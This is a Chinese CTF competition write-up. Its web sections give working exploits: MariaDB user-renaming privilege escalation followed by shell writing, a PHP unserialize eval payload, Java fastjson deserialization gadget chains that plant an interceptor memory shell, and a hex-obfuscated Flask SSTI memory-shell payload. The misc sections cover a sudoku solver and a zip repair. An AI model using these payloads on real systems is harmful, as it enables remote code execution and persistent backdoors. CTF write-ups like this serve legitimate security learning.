web

CarelessPy

看过start.sh,但是py_compile没了解过…….队友lolita做出来的。

https://docs.python.org/3/library/py_compile.html

py_compile.compile(file, cfile=None, dfile=None, doraise=False, optimize=- 1, invalidation_mode=PycInvalidationMode.TIMESTAMP, quiet=0)

Compile a source file to byte-code and write out the byte-code cache file. The source code is loaded from the file named file. The byte-code is written to cfile, which defaults to the PEP 3147/PEP 488 path, ending in .pyc. For example, if file is /foo/bar/baz.py cfile will default to /foo/bar/__pycache__/baz.cpython-32.pyc for Python 3.2. If dfile is specified, it is used instead of file as the name of the source file from which source lines are obtained for display in exception tracebacks. If doraise is true, a PyCompileError is raised when an error is encountered while compiling file. If doraise is false (the default), an error string is written to sys.stderr, but no exception is raised. This function returns the path to byte-compiled file, i.e. whatever cfile value was used.

编译时候会在当前目录生成__pycache__,里面存了字节码,下载后反编译可以拿到secret_key,伪造cookie登录后是个xml文件,然后是xxe注入。

image-20230611120521849.png

Confronting robot

还是lolita做的。一开始我还在傻傻地手写sql注入脚本,他已经sqlmap跑出来了。

image-20230611120903242.png
得到个页面。

这个页面有个code参数,先跑一遍sqlmap,没啥东西。

image-20230611121020735.png

看了题目的描述,加上自己测试,发现code直接输sql语句即可,没有过滤。题目意思是让我们修改round choice的数据,即机器人第round轮猜拳的choice,插10条数据进去,再和机器人比猜拳,赢了就行。

呜呜呜mariadb权限了解的少,没往权限那方面想,傻傻地insert,咦怎么数据插入不了?

下面是lolita的做法,他当时没注意到secret有SUPER权限。我赛后恶补一波mariadb权限知识后然后本地复现的。


大致原理:

第一个页面的用户是index_user。

第二个页面的用户是secret,有CREATE USER,select *.*,SUPER权限。(SUPER权限在这种做法用不到,写日志才用到)

secure_file_priv是空的,可写文件。

secret用户修改root用户哈希为index_user的哈希,删去index_user,将root改名为index_user。

此时index_user相当于root,sqlmap连上,写shell。


复现

准备工作。

create user root2 identified by '123';
create user create_user identified by '333';#比赛时的secret用户,第二个页面
create user index_user identified by '333';#比赛时index_user用户,第一个页面
grant all privileges on *.* to root2;
grant create user,select on *.* to create_user;

开始测试。

登录create_user()

查看权限:

image-20230611112434847.png
查看密码哈希。

image-20230611110028366.png
执行:

alter user root2 identified by password '*44019FB6C583EFACD2FB2F1A1960B97F86E36A74';
drop user index_user;
rename user 'root2' to 'index_user';

image-20230611112658816.png
查看结果:

image-20230611112718075.png
登录到index_user查看权限:

image-20230611112745456.png
可以看到权限转移到了index_user这里。

思考

本地mysql和mariadb都测了,只有mariadb支持设置密码哈希的选项,mysql 5 8都不行。所以上面的做法如果拿不到index_user的明文密码,只有mariadb能做,mysql不可。

mariadb的文档:

image-20230611095226595.png
mysql的文档并没有这种写法,且自己测试也报语法错误。

image-20230611104554832.png

我比赛时注意到SUPER权限,且已经成功写日志了,但是我去访问马的时候提示Access Denied???我以为是secret没有FILE权限,所以不能写东西。赛后本地测,发现只要有SUPER权限就能写日志马。好想再上靶机看看自己哪里搞错了(艹皿艹 )。

4号的罗纳尔多

第一个正则过了,第二个__halt_compiler();想不到,也没搜到……

源码,版本是php8.2:

<?php
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono2';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}

exp:要用php7运行,php8的不行,不知道为什么。

<?php

class evil{
public $cmd = "eval(end(getallheaders()));__halt_compiler();";
public $a;
}

$e = new evil();
$a = new SplStack();
$a->push($e);
echo serialize($a);

image-20230611141305006.png

sleepwalker

知识点:

fastjson,JSONArray的toString() -> getter

XString.equals 触发 toString

StyledEditorKit.AlignmentAction 利用

EventListenerList的readObject->toString

字节码修改

修改字节码

还不会用javaassist+javaagent改字节码,只能改rt.jar。

重写ArrayTable.java,编译后覆盖掉rt.jar里的ArrayTable.class。注意自己编译的包名要和原来的一样。

rt.jar直接当成zip解压,再当成zip压缩回去,改后缀为jar。

static void writeArrayTable(ObjectOutputStream s, ArrayTable table) throws IOException {
if (table != null && table.getKeys((Object[])null) != null) {
int validCount = false;
s.writeInt(3);
s.writeObject(table.get("test"));
s.writeObject("111");
s.writeObject("11");
s.writeObject(table.get("11"));
s.writeObject("11");
s.writeObject(table.get("12"));
} else {
s.writeInt(0);
}

}

对Alignment对象的设置:

alignmentAction.putValue("test","hhhhhh"); //随便设置
alignmentAction.putValue("11",xString); //对应上面的s.writeObject(table.get("11"));
alignmentAction.putValue("12",objects2); //对应s.writeObject(table.get("12"));

AbstractAction的readObject,循环putValue。

image-20230615100641155.png
image-20230615100706557.png
第一次循环,arrayTable为null,创建arrayTable。

第二次循环,将xstring put进arrayTable里,key为11。

第三次循环,key是11,oldValue为xstring,newValue为object2(JSONArray)。开始触发JSONArray的toString。

exp

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import unknown.tools.Gadget;
import unknown.tools.MyMethods;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.security.SignedObject;

public class SleepWalker {
public static void main(String[] args) throws Exception{


TemplatesImpl interceptorShell = Gadget.getInterceptorShell();

JSONArray objects = new JSONArray();

objects.add(interceptorShell);

BadAttributeValueExpException bd = Gadget.getBadAttributeValueExpException(objects);
SignedObject singnedObject = Gadget.getSingnedObject(bd);

JSONArray objects2 = new JSONArray();

objects2.add(singnedObject);

XString xString = new XString("asd");

StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("1",1);

MyMethods.setFieldValue(alignmentAction,"changeSupport",new SwingPropertyChangeSupport("hhh",true));

alignmentAction.putValue("test","hhhhhh");
alignmentAction.putValue("11",xString);
alignmentAction.putValue("12",objects2);

ActionMap actionMap = new ActionMap();//题目限定反序列化的第一个类的父类不能为AbstractAction,故用ActionMap。
actionMap.put("test",alignmentAction);//对应修改的字节码的test

System.out.println(MyMethods.URLEncode(MyMethods.base64Encode(MyMethods.serialize(actionMap))));


}
}

SSTI内存马

原本的样子:

?cmd={%print(get_flashed_messages['__globals__']['__builtins__']['exec']('def shell():\n\treturn \'base64\'\napp.add_url_rule(\'/status\',\'shell\',shell)',{'_request_ctx_stack': get_flashed_messages['__globals__']['_request_ctx_stack'],'app': get_flashed_messages['__globals__']['current_app']}))%}

16进制绕过滤:

?cmd={%25print(get_flashed_messages['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x78\x65\x63']('def shell():\n\treturn \'base64\'\napp\x2eadd_url_rule(\'/status\',\'shell\',shell)',{'\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x63\x74\x78\x5f\x73\x74\x61\x63\x6b': get_flashed_messages['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x72\x65\x71\x75\x65\x73\x74\x5f\x63\x74\x78\x5f\x73\x74\x61\x63\x6b'],'app': get_flashed_messages['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['current_app']}))%25}

base64那个位置换成上面exp生成一大串的base64。注意base64末尾生成的=号要去掉,因为flask过滤。实测去掉了也可以正常反序列化。

访问:http://192.168.190.129:32159/breakme?cmd=.....

此时flask内存马已经打入,访问http://192.168.190.129:32159/status看看效果

image-20230615130319007.png
此时访问两次http://192.168.190.129:32159/heartbeat

第一次读取/status返回的base64并写到/tmp/tmp.ser里

第二次读取/tmp/tmp.ser的base64,反序列化,打入拦截器内存马。

成功执行命令:

image-20230615130552362.png

另一条链

lolita师傅告诉我的哈哈哈哈。

javax.swing.event.EventListenerList,readObject->toString。

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import unknown.tools.Gadget;
import unknown.tools.MyMethods;

import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.swing.event.EventListenerList;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import java.security.SignedObject;

public class SleepWalker {
public static void main(String[] args) throws Exception{
TemplatesImpl interceptorShell = Gadget.getInterceptorShell();

JSONArray objects = new JSONArray();

objects.add(interceptorShell);

BadAttributeValueExpException bd = Gadget.getBadAttributeValueExpException(objects);
SignedObject singnedObject = Gadget.getSingnedObject(bd);

JSONArray objects2 = new JSONArray();

objects2.add(singnedObject);

XString xString = new XString("asd");

EventListenerList eventListenerList = Gadget.getEventListenerList(objects2);

System.out.println(MyMethods.URLEncode(MyMethods.base64Encode(MyMethods.serialize(eventListenerList))));


}
}

Gadget.getEventListenerList:

public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector)MyMethods.getFieldValue(manager, "edits");
vector.add(obj);
MyMethods.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

misc

sudoku_easy

CTFer特有的不按套路出牌。

image-20230610095707838.png

烦人的压缩包

image-20230610094943141.png

image-20230610095014545.png

image-20230610095059259.png

提示文件损坏这里卡了一小会,以为是伪加密什么的,然后翻一翻zip文件的结构,发现这个zip的压缩方式给改成00了,改回08即可打开。

image-20230610095210454.png

image-20230610095228706.png

image-20230610095240029.png

sudoku_speedrun

题目要求是10s内解数独。多次测试后发现,若按R重新开始,题目还是原来的,但是时间重新计算了。所以我们可以不断R Y 循环,这样就有时间解数独了。但是就算解出来,也无法在10s内全部填完,所以要写脚本了。

写脚本测试过程中发现,可以一次性发送答案,如:

tn.write(b'1d1d1d1d')

这样表示在当前位置填1,然后右移,填1,右移,填1…

所以最终思路就是,让线程A循环发送r y,保证题目不断,然后线程B监听输入,只要B收到输入了,发给A,A再发给靶机。我们要做的就是另起一个脚本,解出数独,并转化为上面那种字符串,再输入给B即可。

(理论上只要手够快,r y 循环那部分可以省略)

下面是exp:

和靶机交互的脚本:

import telnetlib
import time,threading

global payload
payload = '1'
def main():
global payload
tn = telnetlib.Telnet('47.108.165.60',port=40689)
res = tn.read_until(b'Please input\r\n>')
print(res)
tn.write(b'1\n')
res = tn.read_until(b'hard(7)\r\n>')
print(res)
tn.write(b'5\n')
tn.write(b'r')
res = tn.read_until(b'Retstart the game? (Y):')
print(res.decode())
while True:
tn.write(b'y\n')
if payload != '1':
tn.write(payload)
res = tn.read_all()
print(res.decode())
break
time.sleep(2)
tn.write(b'r\n')
time.sleep(1)

def listen():
global payload
res = input('>>>>>>>>')
payload = res.encode()

if __name__ == '__main__':
thread_1 = threading.Thread(target=listen)
thread_2 = threading.Thread(target=main)
thread_1.start()
thread_2.start()

解数独并将答案转为字符串的脚本:

解数独脚本来自:https://zhuanlan.zhihu.com/p/87744766

#-*- coding: utf-8 -*-

import random,copy
import sys
sys.setrecursionlimit(100000)

def get_next(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:获得下一个空白格在数独中的坐标。
"""
for next_y in range(y+1, 9): # 下一个空白格和当前格在一行的情况
if m[x][next_y] == 0:
return x, next_y
for next_x in range(x+1, 9): # 下一个空白格和当前格不在一行的情况
for next_y in range(0, 9):
if m[next_x][next_y] == 0:
return next_x, next_y
return -1, -1 # 若不存在下一个空白格,则返回 -1,-1

def value(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:返回符合"每个横排和竖排以及
九宫格内无相同数字"这个条件的有效值。
"""
i, j = x//3, y//3
grid = [m[i*3+r][j*3+c] for r in range(3) for c in range(3)]
v = set([x for x in range(1,10)]) - set(grid) - set(m[x]) - \
set(list(zip(*m))[y])
return list(v)

def start_pos(m:"数独矩阵"):
""" 功能:返回第一个空白格的位置坐标"""
for x in range(9):
for y in range(9):
if m[x][y] == 0:
return x, y
return False, False # 若数独已完成,则返回 False, False

def try_sudoku(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:试着填写数独 """
for v in value(m, x, y):
m[x][y] = v
next_x, next_y = get_next(m, x, y)
if next_y == -1: # 如果无下一个空白格
return True
else:
end = try_sudoku(m, next_x, next_y) # 递归
if end:
return True
m[x][y] = 0 # 在递归的过程中,如果数独没有解开,
# 则回溯到上一个空白格

def sudoku(m):
x, y = start_pos(m)
try_sudoku(m, x, y)
# for i in m:
# print(i)
return m

def getTrack(question,answer):
track = ''
for i in range(len(question)):
for j in range(len(question[i])):
if question[i][j] == 0:
track += str(answer[i][j])
track += 'd'
else:
track+='d'
track+='a'*9+'s'
print(track)

def strToArray(s):
sudo = []
for i in s.split('\n'):
line = []
for j in i:
if j in '0123456789':
line.append(int(j))
sudo.append(line)
return sudo

if __name__ == "__main__":
s = '''| 0 0 7 | 1 3 0 | 8 6 0 |
| 4 0 1 | 0 0 8 | 0 3 0 |
| 0 8 3 | 5 0 0 | 0 4 7 |
| 0 0 9 | 6 0 0 | 4 0 3 |
| 0 0 4 | 9 8 0 | 7 2 0 |
| 7 3 0 | 4 0 2 | 9 0 0 |
| 0 0 5 | 0 0 6 | 2 9 0 |
| 0 4 2 | 0 0 0 | 6 0 0 |
| 0 0 8 | 2 0 5 | 0 7 0 |'''

sudo = strToArray(s)
question = copy.deepcopy(sudo)
answer = sudoku(sudo)
getTrack(question,answer)

image-20230610132750172.png

image-20230610132955026.png

image-20230610133030711.png